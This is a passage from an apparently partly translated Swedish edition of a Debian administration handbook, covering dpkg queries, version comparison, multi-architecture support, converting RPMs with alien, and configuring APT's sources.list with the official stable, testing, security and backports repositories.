$ dpkg -L base-passwd /. /usr /usr/sbin /usr/sbin/update-passwd /usr/share /usr/share/base-passwd /usr/share/base-passwd/group.master /usr/share/base-passwd/passwd.master /usr/share/doc /usr/share/doc/base-passwd /usr/share/doc/base-passwd/README /usr/share/doc/base-passwd/changelog.gz /usr/share/doc/base-passwd/copyright /usr/share/doc/base-passwd/users-and-groups.html /usr/share/doc/base-passwd/users-and-groups.txt.gz /usr/share/doc-base /usr/share/doc-base/users-and-groups /usr/share/lintian /usr/share/lintian/overrides /usr/share/lintian/overrides/base-passwd /usr/share/man /usr/share/man/de /usr/share/man/de/man8 /usr/share/man/de/man8/update-passwd.8.gz /usr/share/man/es /usr/share/man/es/man8 /usr/share/man/es/man8/update-passwd.8.gz /usr/share/man/fr /usr/share/man/fr/man8 /usr/share/man/fr/man8/update-passwd.8.gz /usr/share/man/ja /usr/share/man/ja/man8 /usr/share/man/ja/man8/update-passwd.8.gz /usr/share/man/man8 /usr/share/man/man8/update-passwd.8.gz /usr/share/man/pl /usr/share/man/pl/man8 /usr/share/man/pl/man8/update-passwd.8.gz /usr/share/man/ru /usr/share/man/ru/man8 /usr/share/man/ru/man8/update-passwd.8.gz $ dpkg -S /bin/date coreutils: /bin/date $ dpkg -s coreutils Package: coreutils Essential: yes Status: install ok installed Priority: required Section: utils Installed-Size: 17478 Maintainer: Michael Stone <mstone@debian.org> Architecture: amd64 Multi-Arch: foreign Source: coreutils (8.32-4) Version: 8.32-4+b1 Pre-Depends: libacl1 (>= 2.2.23), libattr1 (>= 1:2.4.44), libc6 (>= 2.28), libgmp10, libselinux1 (>= 3.1~) Description: GNU core utilities This package contains the basic file, shell and text manipulation utilities which are expected to exist on every operating system. . Specifically, this package includes: arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp csplit cut date dd df dir dircolors dirname du echo env expand expr factor false flock fmt fold groups head hostid id install join link ln logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac tail tee test timeout touch tr true truncate tsort tty uname unexpand uniq unlink users vdir wc who whoami yes Homepage: http://gnu.org/software/coreutils $ dpkg -l 'b*' Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Architecture Description +++-==========================-==============-============-================================== un backupninja <none> <none> (no description available) un backuppc <none> <none> (no description available) ii baloo-kf5 5.78.0-3 amd64 framework for searching and manag> un balsa <none> <none> (no description available) ii baobab 3.38.0-1 amd64 GNOME disk usage analyzer un base <none> <none> (no description available) un base-config <none> <none> (no description available) ii base-files 11.1 amd64 Debian base system miscellaneous > ii base-passwd 3.5.51 amd64 Debian base system master passwor> ii bash 5.1-2+b1 amd64 GNU Bourne Again SHell [..] $ dpkg -c /var/cache/apt/archives/bash_5.1-3+b1_amd64.deb drwxr-xr-x root/root 0 2021-07-25 20:43 ./ drwxr-xr-x root/root 0 2021-07-25 20:43 ./bin/ -rwxr-xr-x root/root 1234376 2021-07-25 20:43 ./bin/bash drwxr-xr-x root/root 0 2021-07-25 20:43 ./etc/ -rw-r--r-- root/root 1994 2021-07-25 20:43 ./etc/bash.bashrc drwxr-xr-x root/root 0 2021-07-25 20:43 ./etc/skel/ -rw-r--r-- root/root 220 2021-07-25 20:43 ./etc/skel/.bash_logout -rw-r--r-- root/root 3526 2021-07-25 20:43 ./etc/skel/.bashrc -rw-r--r-- root/root 807 2021-07-25 20:43 ./etc/skel/.profile drwxr-xr-x root/root 0 2021-07-25 20:43 ./usr/ drwxr-xr-x root/root 0 2021-07-25 20:43 ./usr/bin/ -rwxr-xr-x root/root 6759 2021-07-25 20:43 ./usr/bin/bashbug -rwxr-xr-x root/root 14648 2021-07-25 20:43 ./usr/bin/clear_console drwxr-xr-x root/root 0 2021-07-25 20:43 ./usr/share/ drwxr-xr-x root/root 0 2021-07-25 20:43 ./usr/share/doc/ [..] $ dpkg -I /var/cache/apt/archives/bash_5.1-3+b1_amd64.deb new Debian package, version 2.0. size 1416600 bytes: control archive=7256 bytes. 77 bytes, 4 lines conffiles 1030 bytes, 27 lines control 4511 bytes, 64 lines md5sums 603 bytes, 31 lines * postinst #!/bin/bash 500 bytes, 25 lines * postrm #!/bin/sh 14536 bytes, 33 lines * preinst 289 bytes, 22 lines * prerm #!/bin/bash Package: bash Source: bash (5.1-3) Version: 5.1-3+b1 Architecture: amd64 Essential: yes Maintainer: Matthias Klose <doko@debian.org> Installed-Size: 6470 Pre-Depends: libc6 (>= 2.25), libtinfo6 (>= 6) Depends: base-files (>= 2.1.12), debianutils (>= 2.15) Recommends: bash-completion (>= 20060301-0) Suggests: bash-doc Conflicts: bash-completion (<< 20060301-0) Replaces: bash-completion (<< 20060301-0), bash-doc (<= 2.05-1) Section: shells Priority: required Multi-Arch: foreign Homepage: http://tiswww.case.edu/php/chet/bash/bashtop.html Description: GNU Bourne Again SHell Bash is an sh-compatible command language interpreter that executes commands read from the standard input or from a file. Bash also incorporates useful features from the Korn and C shells (ksh and csh). . Bash is ultimately intended to be a conformant implementation of the IEEE POSIX Shell and Tools specification (IEEE Working Group 1003.2). . The Programmable Completion Code, by Ian Macdonald, is now found in the bash-completion package.

GÅ VIDARE Jämförelse av versioner

Eftersom dpkg är programmet som hanterar Debian-paket, tillhandahåller den även referensimplementationen för logiken bakom jämförelse av versionsnummer. Detta är varför den har flaggan --compare-versions, användbar för externa program (i synnerhet konfigurationsskript som körs av dpkg). Denna flagga kräver tre parametrar: ett versionsnummer, en jämförande operator, samt ett andra versionsnummer. De möjliga operatörerna är lt (strikt mindre än), le (mindre än eller lika med), eq (lika med), ne (inte lika med), ge (större än eller lika med), och gt (strikt större än). Om jämförelsen är korrekt returnerar dpkg värdet 0 (lyckat/possitivt resultat), annars returneras ett icke-noll värde (vilket indikerar misslyckat/negativt resultat).

$ dpkg --compare-versions 1.2-3 gt 1.1-4 $ echo $? 0 $ dpkg --compare-versions 1.2-3 lt 1.1-4 $ echo $? 1 $ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1 $ echo $? 1

Notera den oförväntade misslyckade kontrollen av den sista jämförelsen: för dpkg har beteckningen pre, som vanligtvis indikerar en innan-frisläppningsversion, ingen specifik innebörd och programmet jämför de alfabetiska bokstäverna på samma sätt som nummer (a < b < c ...) i alfabetisk ordning. Detta är anledningen till varför den anser att “0pre3” är större än “0”. När vi vill att ett pakets versionsnummer skall indikera att det är en innan-frisläppningsversion använder vi oss utav tilde-tecknet, "~":

$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1 $ echo $? 0

5.4.4. dpkg's loggfil

dpkg loggar alla sina aktiviteter i /var/log/dpkg.log. Denna logg är extremt utförlig, eftersom den i detalj redovisar samtliga av alla de steg som ett paket som handhas av dpkg går igenom. Utöver att den erbjuder en möjlighet att spåra dpkg's beteende, är den framför allt en hjälp för att ge en historisk överblick över ett systems utveckling. Man kan finna exakt vid vilken tidpunkt som samtliga paket har installerats och/eller uppdaterats, vilket kan vara extremt användbart vid utredning av en ändring i systemets beteende. Vidare registreras alla versioner och det är enkelt att jämföra och koppla informationen med changelog.Debian.gz för paketen ifråga, eller till och med buggrapporter registrerade på nätet.

5.4.5. Support för Multi-Instruktionsuppsättning

Alla Debian-paket har ett fällt för instruktionsuppsättning i deras kontrollinformation. Detta fällt kan innehålla antingen "all" (för paket som är oberoende av instruktionsuppsättning) eller namnet på den instruktionsuppsättning som den är avsedd för (exempelvis “amd64”, “armhf”, …). I det senare fallet kommer dpkg, som standard, enbart acceptera att installera paketet ifall dess instruktionsuppsättning matchar värdsystemets instruktionsuppsättning så som det redovisas av dpkg --print-architecture.

Denna restriktion försäkrar att användaren inte kommer till en situation med installerade binära program som är översatt till fel instruktionsuppsättning. Allt hade varit perfekt om det inte varit för att (en del) datorer kan köra binära program för flera olika instruktionsuppsättningar, antingen naturligt (ett "amd64"-system kan köra binärer översatta till "i386") eller med hjälp av emulatorer.

5.4.5.1. Aktivera Multi-Instruktionsuppsättning

dpkg's support för multi-instruktionsuppsättning tillåter användare att definiera "främmande instruktionsuppsättningar" som kan installeras på nuvarande system. Detta utförs enkelt med dpkg --add-architecture så som i exemplet nedan. Det finns en motsvarande dpkg --remove-architecture för att ta bort stöd för en främmande instruktionsuppsättning, med det kan enbart användas om det inte finns något installerat paket kvarstående för denna instruktionsuppsättning.

# dpkg --print-architecture amd64 # dpkg --print-foreign-architectures # dpkg -i gcc-9-base_9.3.0-22_armhf.deb dpkg: error processing archive gcc-9-base_9.3.0-22_armhf.deb (--install): package architecture (armhf) does not match system (amd64) Errors were encountered while processing: gcc-9-base_9.3.0-22_armhf.deb # dpkg --add-architecture armhf # dpkg --add-architecture armel # dpkg --print-foreign-architectures armhf armel # dpkg -i gcc-9-base_9.3.0-22_armhf.deb (Reading database ... 456367 files and directories currently installed.) Preparing to unpack gcc-9-base_9.3.0-22_armhf.deb ... Unpacking gcc-9-base:armhf (9.3.0-22) ... Setting up gcc-9-base:armhf (9.3.0-22) ... # dpkg --remove-architecture armhf dpkg: error: cannot remove architecture 'armhf' currently in use by the database # dpkg --remove-architecture armel # dpkg --print-foreign-architectures armhf

NOTERA APT's support för multi-instruktionsuppsättning

APT kommer automatiskt upptäcka när dpkg har blivit konfigurerad att stödja främmande instruktionsuppsättningar och kommer börja ladda ner motsvarande Paket-filer under dess uppdateringsprocess.

Främmande paket kan sen installeras med apt install packet:instruktionsuppsättning.

I PRAKTIKENAnvänd proprietära i386 binärer på amd64

Det finns åtskilliga användningsområden för multi-instruktionsuppsättning, men de mest vanliga är för möjligheten att köra (ibland proprietära) 32-bitars binärer (i386) på ett 64-bitars system (amd64), och möjligheten att kors-översätta mjukvara för en plattform eller instruktionsuppsättning som skiljer sig från värdsystemets.

5.4.5.2. Multi-Instruktionsuppsättningsrelaterade Ändringar

För att verkligen dra nytta av multi-instruktionsuppsättning och göra den användbar, behövde bibliotek packas om och flyttas till en instruktionsuppsättningsspecifik katalog så att flera kopior (som vänder sig till olika instruktionsuppsättningar) kan vara installerad samtidigt på samma system. Dylika uppdaterade paket innehåller sidhuvudsfälltet “Multi-Arch: same” i syfte att meddela pakethanteraren att paketen för de olika instruktionsuppsättningarna säkert kan samexistera på samma system (och att de olika paketen enbart kan uppfylla beroenden för andra paket av samma instruktionsuppsättning). De allra flesta bibliotek har omvandlats sedan introduktionen av multi-instruktionsuppsättning i Debian 7Wheezy, men det finns många bibliotek som sannolikt aldrig kommer omvandlas så länge inte någon specifikt begär det (genom en felrapport exempelvis).

$ dpkg -s gcc-9-base dpkg-query: error: --status needs a valid package name but 'gcc-9-base' is not: ambiguous package name 'gcc-9-base' with more than one installed instance Use --help for help about querying packages. $ dpkg -s gcc-9-base:amd64 gcc-9-base:armhf | grep ^Multi Multi-Arch: same Multi-Arch: same $ dpkg -L libgcc-s1:amd64 |grep .so /lib/x86_64-linux-gnu/libgcc_s.so.1 $ dpkg -S /usr/share/doc/gcc-9-base/copyright gcc-9-base:amd64, gcc-9-base:armhf: /usr/share/doc/gcc-9-base/copyright

Det är värt att notera att paket med Multi-Arch: same måste ha sitt namn kvalificerad med sin instruktionsuppsättning för att vara entydigt identifierbar. De har också möjligheten att dela filer med andra instanser av samma paket, dpkg säkerställer att alla paket har i detalj identiska filer när de är delade. Sist men inte minst, alla instanser av samma paket behöver ha samma version. De behöver därför uppgraderas samtidigt.

Support för Multi-Instruktionsuppsättning tillför även några intressanta utmaningar kring hur beroenden hanteras. Att tillmötesgå ett beroende kräver antingen ett paket markerad “Multi-Arch: foreign” eller ett paket vars instruktionsuppsättning är desamma som det paket som framställer beroendet (i denna process att lösa beroenden anses instruktionsuppsättningsoberoende paket vara av samma instruktionsuppsättning som värden). Ett beroende kan också försvagas så att alla instruktionsuppsättningar tillåts uppfylla det, med uttrycket package:any, men utomstående paket kan enbart uppfylla ett sådant beroende ifall de är märkta “Multi-Arch: allowed”.

5.5. Samexistens med andra paketeringsingssystem

Debian-paket är inte det enda paketformatet för mjukvara som används i den fria mjukvauvärlden. Dess största konkurent är RPM-formatet som används av Red Hat Linux distribution och dess många derivater. Red Hat är en väldigt populär komerciell distribution. Det är därför vanligt att mjukvara tillhandahållen av tredjepart erbjuds som RPM paket snarare än Debian.

I detta fallet bör du känna till att programmet rpm, som hanterar RPM-paket, finns tillgänglig som ett Debian-paket, så det är möjligt att använda detta paketformat på Debian. Man bör dock vara försiktig och begränsa dessa manipulationer till att erhålla informationen från ett paket eller verifiera dess integritet. Det är i sanning orimligt att använda rpm för att installera ett RPM i ett Debian-system. RPM använder sin egen databas, avskild från de som används för inhemsk programvara (så som dpkg). Detta är orsaken till att det inte är möjligt att erhålla en stabil sammexistens av två olika pakethanteringssystem.

Och andra sidan kan verktyget alien användas för att konvertera RPM-paket till Debian-paket, och tvärt om.

GEMENSKAPEN Uppmuntran till att öka användandet av .deb

If you regularly use the alien program to install RPM packages coming from one of your providers, do not hesitate to write to them and amicably express your strong preference for the .deb format. Note that the format of the package is not everything: a .deb package built with alien or prepared for a version of Debian different than that which you use, or even for a derivative distribution like Ubuntu, would probably not offer the same level of quality and integration as a package specifically developed for Debian Bullseye.

$ fakeroot alien --to-deb phpMyAdmin-5.1.1-2.fc35.noarch.rpm [..] Warning: Skipping conversion of scripts in package phpMyAdmin: postinst Warning: Use the --scripts parameter to include the scripts. [..] phpmyadmin_5.1.1-3_all.deb generated $ ls -sh phpmyadmin_5.1.1-3_all.deb 6,0M phpmyadmin_5.1.1-3_all.deb $ dpkg -c phpmyadmin_5.1.1-3_all.deb drwxr-xr-x root/root 0 2021-08-09 02:02 ./ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/httpd/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/httpd/conf.d/ -rw-r--r-- root/root 1181 2021-07-27 09:32 ./etc/httpd/conf.d/phpMyAdmin.conf drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/nginx/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/nginx/default.d/ -rw-r--r-- root/root 430 2021-07-27 09:32 ./etc/nginx/default.d/phpMyAdmin.conf drwxr-x--- root/root 0 2021-08-09 02:02 ./etc/phpMyAdmin/ -rw-r----- root/root 4546 2021-07-27 09:34 ./etc/phpMyAdmin/config.inc.php drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/share/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/share/doc/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/share/doc/phpMyAdmin/ [..] $ dpkg -I phpmyadmin_5.1.1-3_all.deb new Debian package, version 2.0. size 6195324 bytes: control archive=44444 bytes. 102 bytes, 3 lines conffiles 593 bytes, 15 lines control 180405 bytes, 1919 lines md5sums 448 bytes, 11 lines * postinst #!/bin/sh Package: phpmyadmin Version: 5.1.1-3 Architecture: all Maintainer: Daniel Leidert <dleidert@debian.org> Installed-Size: 40693 Section: alien Priority: extra Description: A web interface for MySQL and MariaDB phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL over the Web. Currently it can create and drop databases, create/drop/alter tables, delete/edit/add fields, execute any SQL statement, manage keys on fields, manage privileges,export data into various formats and is available in 50 languages . (Converted from a rpm package by alien version 8.95.4.)

Du kommer finna att denna process är extremt enkel. Du bör dock känna till att paket genererad på detta sätt saknar helt information om beroenden, eftersom beroenden mellan de olika paketformaten inte har något systematiskt korrespondens. Det åligger därav administratören att manuellt försäkra sig om att det konverterade paketet kommer fungera på ett adekvat sätt, vilket också är anledningen till att paket genererade på detta sätt bör undvikas om möjligt. Lyckligtvis har Debian den största samlingen av mjukvarupaket av alla distributioner, och det är troligt att vad än du söker så kommer du finna det där.

Om du tittar i manualsidan för kommandot alien kommer du också att finna att detta program handhar även andra paketformat, i synnerhet det som används av distributionen Slackware (det består av ett enkelt tar.gz-arkiv).

Stabiliteten av den mjukvara som utplaceras av verktyget dpkg bidrar till Debian's goda ryckte. Samlingen av APT-verktyg, som beskrivs vidare i nästa kapitel, bevarar denna fördel samtidigt som administratören avlastas hanteringen med att hålla koll på status för alla pakets, en nödvändig men svår uppgift.

Kapitel 6. Underhåll och uppdateringar: APT-verktygen

Vad som gör Debian så populärt bland adminstratörer är hur lätt programvara kan installeras och hur lätt hela systemet kan uppdateras. Denna unika fördel beror till stor del på programmet APT vilket Falcot Corp administratörerna entusiastiskt studerade.

APT is the abbreviation for Advanced Packaging Tool. What makes this program “advanced” is its approach to packages. It doesn't simply evaluate them individually, but it considers them as a whole and produces the best possible combination of packages depending on what is available and compatible according to dependencies.

VOKABULÄR Paketerad källkod och källpaket

Ordet källa kan vara tvetydigt. Ett "källpaket" — ett paket som innehåller källkoden för ett program — ska inte blandas ihop med "paketerad källkod" — ett förråd (webbplats, FTP-server, CD-ROM, lokal katalog, etc.) som innehåller paket.

APT needs to be given a “list of package sources (repositories)”: the file /etc/apt/sources.list will list the different repositories that publish Debian packages. APT will then import the list of packages published by each of these sources. This operation is achieved by downloading Packages.xz files or a variant such as Packages.gz or .bz2 (using a different compression method) in case of a source of binary packages and by analyzing their contents. In case of a source of source packages, APT downloads Sources.xz files or a variant using a different compression method. When an old copy of these files is already present, APT can update it by only downloading the differences (see sidebar TIPS Inkrementella uppdateringar).

TILLBAKA TILL GRUNDERNA gzip-, bzip2-, LZMA- och XZ-komprimering

En .gz-filändelse refererar till en fil komprimerad med verktyget gzip. gzip är det snabba och effektiva traditionella Unix-verktyget för att komprimera filer. Nya verktyg uppnår bättre komprimeringsgrader men kräver mer resurser (beräkningstid och minne) för att komprimera och dekomprimera en fil. Bland dem, och i den ordning de uppstod, finns bzip2 (genererar filer med en .bz2-filändelse), lzma (genererar .lzma-filer) och xz (genererar .xz-filer).

6.1. Att fylla i filen sources.list

6.1.1. Syntax

Each active line in the /etc/apt/sources.list file represents a package source (repository) and is made of at least three parts separated by spaces. For a complete description of the file format and the accepted entry compositions see sources.list(5).

Exempel 6.1. Exempel på inmatningsformat i /etc/apt/sources.list

deb url distribution komponent1 komponent2 komponent3 [..] komponentX deb-src url distribution komponent1 komponent2 komponent3 [..] komponentX

Det första fältet anger källtypen:

deb

package source (repository) of binary packages

deb-src

package source (repository) of source packages

The second field gives the base URL of the source. Combined with the filenames listed in the Packages.xz files, it must give a full and valid URL. This can consist in a Debian mirror or in any other package archive set up by a third party. The URL can start with file:// to indicate a local source installed in the system's file hierarchy, with http:// or https:// to indicate a source accessible from a web server, or with ftp:// or ftps:// for a source available on an FTP server. The URL can also start with cdrom: for CD-ROM/DVD/Blu-ray disc based installations, although this is less frequent, since network-based installation methods are eventually more common. More methods like ssh:// or tor+http(s):// are supported and are either described in sources.list(5) or their respective apt-transport-method package documentation.

The syntax of the last field depends on the structure of the repository. In the simplest case, you can simply indicate a subdirectory (with a required trailing slash) of the desired source. This is often a simple “./” which refers to the absence of a subdirectory. The packages are then directly at the specified URL. But in the most common case, the repositories will be structured like a Debian mirror, with multiple distributions, each having multiple components. In those cases, name the chosen distribution by its “codename” — see the list in sidebar GEMENSKAP Bruce Perens, en kontroversiell ledare — or by the corresponding “suite” (oldoldstable, oldstable, stable, testing, unstable) and then the components to enable. A typical Debian mirror provides the components main, contrib, and non-free.

VOCABULARY The main, contrib and non-free archives

Debian uses three components to differentiate packages according to the licenses chosen by the authors of each work. Main gathers all packages which fully comply with the Debian Free Software Guidelines.

The non-free component is different because it contains software which does not (entirely) conform to these principles but which can, nevertheless, be distributed without restrictions. This archive, which is not officially part of Debian, is a service for users who could need some of those programs and, nowadays, also require the firmware for their hardware. However, Debian always recommends giving priority to free software. The existence of this component represents a considerable problem for Richard M. Stallman and keeps the Free Software Foundation from recommending Debian to users.

Contrib (contributions) is a set of open source software which cannot function without some non-free elements — these elements can be software from the non-free section, or non-free files such as game ROMs, BIOS of consoles, etc. — or some elements, not available from the Debian main archive at all. The contrib component also includes free software whose compilation requires proprietary elements. This was initially the case for the OpenOffice.org office suite, which used to require a proprietary Java environment.

TIPSFiler i etc/apt/sources.list.d/*.list

Om det hänvisas till många paketkällor kan det vara användbart att dela dem i flera filer. Varje del lagras sedan i etc/apt/sources.list.d/filnamn.list (se sidofält TILLBAKA TILL GRUNDERNA Kataloger som slutar på .d).

The cdrom entries describe the CD/DVD-ROMs you have. Contrary to other entries, a CD-ROM is not always available since it has to be inserted into the drive and since only one disc can be read at a time. For those reasons, these sources are managed in a slightly different way, and need to be added with the apt-cdrom program, usually executed with the add parameter. The latter will then request the disc to be inserted in the drive and will browse its contents looking for Packages files. It will use these files to update its database of available packages (this operation is usually done by the apt update command). From then on, APT can require the disc to be inserted if it needs one of its packages.

6.1.2. Repositories for Stable Users

Här är en standard sources.list för ett system som kör den Stabila versionen av Debian:

Exempel 6.2. /etc/apt/sources.list fil för användare av Debian Stable

# Security updates deb http://security.debian.org/ bullseye-security main contrib non-free deb-src http://security.debian.org/ bullseye-security main contrib non-free ## Debian mirror # Base repository deb https://deb.debian.org/debian bullseye main contrib non-free deb-src https://deb.debian.org/debian bullseye main contrib non-free # Stable updates deb https://deb.debian.org/debian bullseye-updates main contrib non-free deb-src https://deb.debian.org/debian bullseye-updates main contrib non-free # Stable backports deb https://deb.debian.org/debian bullseye-backports main contrib non-free deb-src https://deb.debian.org/debian bullseye-backports main contrib non-free

This file lists all sources of packages associated with the Bullseye version of Debian (the current Stable suite as of this writing). In the example above, we opted to name “bullseye” explicitly instead of using the corresponding “stable“ aliases (stable, stable-updates, stable-backports) because we don't want to have the underlying distribution changed outside of our control when the next stable release comes out.

Most packages will come from the “base repository”, which contains all packages but is seldom updated (about once every 2 months for a “point release”). The other repositories are partial (they do not contain all packages) and can host updates (packages with newer version) that APT might install. The following sections will explain the purpose and the rules governing each of those repositories.

Note that when the desired version of a package is available on several repositories, the first one listed in the sources.list file will be used. For this reason, non-official sources are usually added at the end of the file.

As a side note, most of what this section says about Stable applies equally well to Oldstable since the latter is just an older Stable that is maintained in parallel.

6.1.2.1. Säkerhetsuppdateringar

Debian takes security seriously. Known software vulnerabilities in Debian are tracked in the Security Bug Tracker and usually get fixed in a reasonable timeframe. The security updates are not hosted on the usual network of Debian mirrors but on security.debian.org, a small set of machines maintained by the Debian System Administrators. This archive contains security updates prepared by the Debian Security Team and/or by package maintainers for the Stable and Oldstable distribution.

The server can also host security updates for Testing but this doesn't happen very often since those updates tend to reach that suite via the regular flow of updates coming from Unstable.

For serious issues, the security team issues a Debian Security Advisory (DSA) and announces it together with the security update on the <debian-security-announce@lists.debian.org> mailing list (archive).

6.1.2.2. Stabila uppdateringar

Stable updates are not security sensitive but are deemed important enough to be pushed to users before the next stable point release.

This repository will typically contain fixes for critical and serious bugs which could not be fixed before release or which have been introduced by subsequent updates. Depending on the urgency, it can also contain updates for packages that have to evolve over time, like spamassassin's spam detection rules, clamav's virus database, the daylight-saving time rules of all timezones (tzdata), the ESR version of Firefox (firefox-esr) or cryptographic keyrings like debian-archive-keyring.

In practice, this repository is a subset of the proposed-updates repository, carefully selected by the Stable Release Managers. All updates are announced on the <debian-stable-announce@lists.debian.org> mailing list (archive) and will be included in the next Stable point release anyway.

6.1.2.3. Föreslagna uppdateringar

Once published, the Stable distribution is only updated about once every 2 months. The proposed-updates repository is where the expected updates are prepared (under the supervision of the Stable Release Managers).

The security and stable updates documented in the former sections are always included in this repository, but there is more too, because package maintainers also have the opportunity to fix important bugs that do not deserve an immediate release.

Anyone can use this repository to test those updates before their official publication. The extract below uses the bullseye-proposed-updates alias which is both more explicit and more consistent since buster-proposed-updates also exists (for the Oldstable updates):

deb https://deb.debian.org/debian bullseye-proposed-updates main contrib non-free

6.1.2.4. Stabil Bakåtporteringar

The stable-backports repository hosts “package backports”. The term refers to a package of some recent software which has been recompiled for an older distribution, generally for Stable.

When the distribution becomes a little dated, numerous software projects have released new versions that are not integrated into the current Stable suite, which is only modified to address the most critical problems, such as security issues. Since the Testing and Unstable suites can be more risky, package maintainers sometimes voluntarily offer recompilations of recent software applications for Stable, which has the advantage to users and system administrators to limit potential instability to a small number of chosen packages. The page https://backports.debian.org provides more information.

Backports from stable-backports are only created from packages available in Testing. This ensures that all installed backports will be upgradable to the corresponding stable version once the next stable release of Debian is available.

Even though this repository provides newer versions of packages, APT will not install them unless you give explicit instructions to do so (or unless you have already done so with a former version of the given backport):

$ sudo apt-get install package/bullseye-backports $ sudo apt-get install -t bullseye-backports package

6.1.3. Repositories for Testing/Unstable Users

Här är en standard sources.list för ett system som kör Testing eller Unstable version av Debian:

Exempel 6.3. /etc/apt/sources.list fil för användare av Debian Testing/Unstable

# Unstable deb https://deb.debian.org/debian unstable main contrib non-free deb-src https://deb.debian.org/debian unstable main contrib non-free # Testing deb https://deb.debian.org/debian testing main contrib non-free deb-src https://deb.debian.org/debian testing main contrib non-free # Testing security updates deb http://security.debian.org/ testing-security main contrib non-free deb-src http://security.debian.org/ testing-security main contrib non-free # Stable deb https://deb.debian.org/debian stable main contrib non-free deb-src https://deb.debian.org/debian stable main contrib non-free # Stable security updates deb http://security.debian.org/ stable-security main contrib non-free deb-src http://security.debian.org/ stable-security main contrib non-free

NOTE Layout of security repositories

Starting with Debian 11 Bullseye, the codename of the repository providing security updates has been renamed from codename/updates into codename-security to avoid the confusion with codename-updates (see Avsnitt 6.1.2.2, ”Stabila uppdateringar”).

→ https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#security-archive

With this sources.list file APT will install packages from the Unstable suite. If that is not desired, use the APT::Default-Release setting (see Avsnitt 6.2.3, ”Systemuppgradering”) to instruct APT to pick packages from another suite (most likely Testing in this case).

There are good reasons to include all those repositories, even though a single one should be enough. Testing users will appreciate the possibility to cherry-pick a fixed package from Unstable when the version in Testing is affected by an annoying bug. On the other hand, Unstable users bitten by unexpected regressions have the possibility to downgrade packages to their (supposedly working) Testing version.

The inclusion of Stable is more debatable but it often gives access to some packages, which have been removed from the development versions. It also ensures that you get the latest updates for packages, which have not been modified since the last stable release.

6.1.3.1. The Experimental Repository

The archive of Experimental packages is present on all Debian mirrors, and contains packages which are not in the Unstable version yet because of their substandard quality — they are often software development versions or pre-versions (alpha, beta, release candidate…). A package can also be sent there after undergoing subsequent changes which can generate problems. The maintainer then tries to uncover them with help from advanced users who can handle important issues. After this first stage, the package is moved into Unstable, where it reaches a much larger audience and where it will be tested in much more detail.

Experimental is generally used by users who do not mind breaking their system and then repairing it. This distribution gives the possibility to import a package which a user wants to try or use as the need arises. That is exactly how Debian approaches it, since adding it in APT's sources.list file does not lead to the systematic use of its packages. The line to be added is:

deb https://deb.debian.org/debian experimental main contrib non-free

6.1.4. Använda alternativa speglar

The sources.list examples in this chapter refer to package repositories hosted on deb.debian.org. Those URLs will redirect you to servers which are close to you and which are managed by Content Delivery Networks (CDN) whose main role is to store multiple copies of the files across the world, and to deliver them as fast as possible to users. The CDN companies that Debian is working with are Debian partners who are offering their services freely to Debian. While none of those servers are under direct control of Debian, the fact that the whole archive is sealed by GPG signatures makes it a non-issue.

→ https://deb.debian.org/

Picky users who are not satisfied with the performance of deb.debian.org can try to find a better mirror in the official mirror list:

→ https://www.debian.org/mirror/list

But when you don't know which mirror is best for you, this list is of not much use. Fortunately for you, Debian maintains DNS entries of the form ftp.country-code.debian.org (e.g. ftp.us.debian.org for the USA, ftp.fr.debian.org for France, etc.) which are covering many countries and which are pointing to one (or more) of the best mirrors available within that country.

As an alternative to deb.debian.org, there used to be httpredir.debian.org. This service would identify a mirror close to you (among the list of official mirrors, using GeoIP mainly) and would redirect APT's requests to that mirror. This service has been deprecated due to reliability concerns and now httpredir.debian.org provides the same CDN-based service as deb.debian.org.

6.1.5. Icke-officiella resurser: mentors.debian.net

There are numerous non-official sources of Debian packages set up by advanced users who have recompiled some software — Ubuntu made this popular with their Personal Package Archive (PPA) service — by programmers who make their creation available to all, and even by Debian developers who offer pre-versions of their package online.

The mentors.debian.net site is interesting (although it only provides source packages), since it gathers packages created by candidates to the status of official Debian developer or by volunteers who wish to create Debian packages without going through that process of integration. These packages are made available without any guarantee regarding their quality; make sure that you check their origin and integrity and then test them before you consider using them in production.

GEMENSKAP debian.net webbplatser

The debian.net domain is not an official resource of the Debian project. Each Debian developer may use that domain name for their own use. These websites can contain unofficial services (sometimes personal sites) hosted on a machine which does not belong to the project and set up by Debian developers, or even prototypes about to be moved on to debian.org. Two reasons can explain why some of these prototypes remain on debian.net: either no one has made the necessary effort to transform it into an official service (hosted on the debian.org domain, and with a certain guarantee of maintenance), or the service is too controversial to be officialized.

Installing a package means giving root rights to its creator, because they decide on the contents of the initialization scripts which are run under that identity. Official Debian packages are created by volunteers who have been co-opted and reviewed and who can seal their packages so that their origin and integrity can be checked.

In general, be wary of a package whose origin you don't know and which isn't hosted on one of the official Debian servers: evaluate the degree to which you can trust the creator, and check the integrity of the package.

GOING FURTHER Old package versions: snapshot.debian.org and archive.debian.org

The Debian project frequently releases new stable versions of their distribution, rendering old releases eventually outdated and unsupported (see Avsnitt 1.6, ”En utgåvas livscykel”). The repositories belonging to these releases are then removed from the official mirrors, but can still be accessed using the service at archive.debian.org. Note, that this service allows access to any of the old Debian releases, but does not provide the source package for every binary package offered.

The snapshot.debian.org service, introduced in April 2010, can be used to “go backwards in time” and to find an old binary or source version of a package not longer contained in the Debian archives. It can be used, for example, to identify which version of a package introduced a regression, and more concretely, to come back to the former version while waiting for the regression fix. This service does not only offer source and binary packages from older releases, but also versions superseeded by regular maintainer uploads.

